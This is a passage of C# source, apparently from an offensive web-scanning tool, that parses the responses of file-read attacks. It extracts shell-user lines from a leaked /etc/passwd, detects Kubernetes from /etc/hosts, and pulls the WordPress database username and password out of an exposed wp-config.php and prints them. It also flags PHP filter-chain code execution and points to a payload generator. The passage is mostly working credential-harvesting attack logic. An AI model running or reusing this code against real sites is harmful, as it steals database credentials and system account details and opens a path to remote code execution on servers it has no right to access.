if (pageText.Contains("root:x:0:0:root:/root"))
{
string passwdText = pageText.Remove(0, pageText.IndexOf("root:x:0:0:root:/root"));
List<string> pageLines = passwdText.Replace("\r", "").Split('\n').ToList();
foreach (string line in pageLines)
{
if (line.Contains("/bin/bash") || line.Contains("/home"))
{
Console.WriteLine("----> " + line);
}
}
}
}
else if (check == "/etc/hosts")
{
if (pageText.Contains("Kubernetes-managed"))
{
Console.WriteLine("-- Kubernetes Detected (And Confirmed by secondary testing)");
}
}
else if (check == "wp-config.php")
{
if (pageText.Contains("DB_USER'") && pageText.Contains("DB_PASSWORD'"))
{
string userText = pageText.Remove(0, pageText.IndexOf("DB_USER'") + 8);
userText = userText.Remove(0, (userText.IndexOf("'") + 1));
userText = userText.Substring(0, userText.IndexOf("' );"));
Console.WriteLine("----> Wordpress Database Username: " + userText);
string passText = pageText.Remove(0, pageText.IndexOf("DB_PASSWORD'") + 12);
passText = passText.Remove(0, (passText.IndexOf("'") + 1));
passText = passText.Substring(0, passText.IndexOf("' );"));
Console.WriteLine("----> Wordpress Database Password: " + passText);
}
}
else if (check == "phpinfo();")
{
if (pageText.Contains("<a href=\"http://www.php.net/\">") && pageText.Contains("Configuration File (php.ini) Path"))
{
Console.WriteLine("----> " + "PHP Filter Code Execution Possible!!!!!!!".Recolor(Color.Green));
Console.WriteLine("-----> https://github.com/synacktiv/php_filter_chain_generator");
}
}
}
}
}